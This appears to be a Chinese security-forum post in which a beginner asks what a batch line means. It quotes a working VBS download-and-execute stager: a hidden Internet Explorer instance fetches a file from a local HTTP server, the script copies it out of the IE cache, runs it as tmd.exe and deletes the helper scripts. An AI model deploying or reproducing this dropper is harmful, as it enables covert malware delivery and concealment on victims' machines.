CScript t.vbs http://192.168.139.1:8080/1.htm an.exe tmd.exe
tmd.exe
del y.vbs
del t.vbs
del t.bat
我是一个初学者。不知道最上面那句什么意思。各位朋友给我详细的说一下。呵呵
后面那3句我知道是删除吧。
另为 y.vbs文件是这样的。
If WScript.Arguments.Count <> 3 Then
WScript.Quit
End If
URL = WScript.Arguments(0)
exeName = WScript.Arguments(1)
If InStr(exeName, ".") > 0 Then
tmp = Left(exeName,InStrRev(exeName, ".")-1)
tmp2 = Right(exeName,Len(exeName) - InStrRev(exeName, ".") + 1)
FindFileName = tmp & "[1]" & tmp2
End If
LocalName = WScript.Arguments(2)

set ie=wscript.createobject("internetexplorer.application")
ie.visible = 0
ie.navigate URL

WScript.Echo "[+]Create and Exec IE to your HTTP Server ..."
WScript.Sleep(5000)
ie.quit
WScript.Echo "[+]Get the file ..."
set objshell= WScript.Createobject("WScript.Shell")
strValue = objshell.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory")
ShowAllFile(strValue)
WScript.Echo "[-]download Fail :("

Sub ShowAllFile(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
  If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
   FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName
   WScript.Echo "[+]Download Success !"
   WScript.Quit
  End If
  ShowAllFile path&"\"&f1.name
     Next
Set FSO = Nothing
End Sub
t.vbs是这样的
CreateObject("WScript.Shell").Run "cmd /c t.bat",0
高手们给我具体说一下好吗？我万分感谢。。

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课